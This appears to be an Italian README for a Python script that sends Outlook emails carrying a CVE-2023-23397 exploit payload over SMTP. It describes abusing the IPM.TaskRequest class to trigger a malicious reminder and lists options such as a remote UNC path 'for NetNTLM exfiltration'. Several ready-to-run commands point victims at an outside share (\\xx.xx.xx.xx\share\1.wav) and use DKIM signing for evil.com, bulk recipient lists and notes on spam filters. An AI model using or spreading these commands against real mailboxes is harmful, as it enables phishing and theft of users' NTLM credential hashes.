
Script Python per l'invio di e-mail con payload CVE-2023-23397 utilizzando SMTP
Questo script consente di creare e-mail di Outlook con codifica TNEF con il payload dell'exploit CVE-2023-23397 e inviarle tramite SMTP puro - nessuna necessità di oggetti COM o EWS.
Non sono riuscito a far funzionare correttamente la classe di messaggio IPM.Schedule.Meeting.Request (genera sia il meeting che il promemoria ma per qualche motivo non rispetta la proprietà PidLidReminderOverride), quindi invece lo script abusa della classe IPM.TaskRequest. Ciò si traduce in un pop-up di promemoria del meeting dannoso proprio come nell'exploit originale, ma il destinatario non può visualizzare il corpo del messaggio né i dettagli del meeting. In OWA, tuttavia, l'e-mail appare come un messaggio normale senza appuntamento.
Testato su Outlook365 16130.20218 e Outlook 2019 10395.20020. Nota che l'allegato TNEF e le intestazioni potrebbero non superare i filtri antispam quando si inviano le e-mail all'esterno - l'ho testato solo inviando e-mail direttamente (o tramite relay Postfix) a Exchange da una macchina Linux nella stessa LAN.
options:
-h, --help show this help message and exit
-s SERVER, --server SERVER
smtp mail relay (host[:port]), default: localhost:25
-f SENDER, --from SENDER
sender email address
-t TO, --to TO recipient email address(es), path to a file or comma-separated values
-S SUBJECT, --subject SUBJECT
message subject
-r ROOM, --room ROOM meeting location (room name), default: Meeting Room #1
-b BODY, --body BODY plaintext message body (or path to file)
--html HTML HTML message body (or path to file)
-p PATH, --path PATH remote file path for NetNTLM exfiltration, e.g \\10.10.10.10\share\1.wav
-a AUTH, --auth AUTH username:password for AUTH command if authenticated send is required
--codepage CODEPAGE windows codepage (e.g. 1252=ASCII, 65001=Unicode) to encode HTML body (if any), default: 1252
--ehlo EHLO, --helo EHLO
EHLO command argument (sender external hostname)
-l LANG, --lang LANG Content-Language header value, default: en-US
--starttls Use STARTTLS when communicating over plaintext SMTP
--max-rcpts MAX_RCPTS
Maximum number of recipients per send attempt
-v Enable debug output
DKIM message signing:
--dkim-selector DKIM_SELECTOR
DKIM selector
--dkim-key DKIM_KEY DKIM private key file path
--dkim-domain DKIM_DOMAIN
DKIM domain name, default: sender address part after @
Invia l'e-mail da [email protected] a [email protected]:
python3 cve-2023-23397.py -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.'
Invia l'e-mail a più destinatari con TLS opportunistico e corpo HTML da file:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected],[email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls
Invia l'e-mail con firma DKIM (richiede pip install dkimpy) e dominio personalizzato nel comando EHLO ai destinatari caricati da file, tre destinatari per messaggio:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain evil.com --dkim-selector default --ehlo mail.evil.com
Invia l'e-mail con credenziali di dominio:
python3 cve-2023-23397.py -s mail.example.com:587 --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls